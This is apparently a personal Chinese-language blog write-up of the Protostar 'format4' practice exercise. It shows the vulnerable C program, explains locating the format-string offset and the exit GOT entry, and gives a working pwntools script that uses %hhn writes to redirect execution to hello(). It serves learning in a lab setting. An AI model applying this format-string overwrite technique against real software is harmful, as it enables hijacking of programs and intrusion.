protostar format4
日常练习,源码为
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);
}
int main(int argc, char **argv)
{
vuln();
}
可以看出printf这里出现了漏洞,这个题的思路就是覆盖exit的地址为函数hello的地址,让程序执行hello函数
1.确定存在格式化串洞的参数是第几个
是第四个参数,把ABCD换成hello函数的地址
2.确定hello函数的地址
hello函数的地址为0x80484b4
替换之后
3.找到exit的调用地址
可以看到 call exit 是跳转到0x80483ec处执行代码,我们用x/i 0x80483ec 查看该地址的内容
发现是jmp到了0x8049724这个地址,所以只要将0x8049724 这个地址覆盖为hello函数的地址 就可以
代码如下
from pwn import *
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
def main():
sh = process('./format4')
payload = fmt_str(4,4,0x8049724,0x80484b4)
print payload
sh.sendline(payload)
print sh.recv()
sh.interactive()
main()
最近破事比较多,学习被耽误啦,还是要多努力啊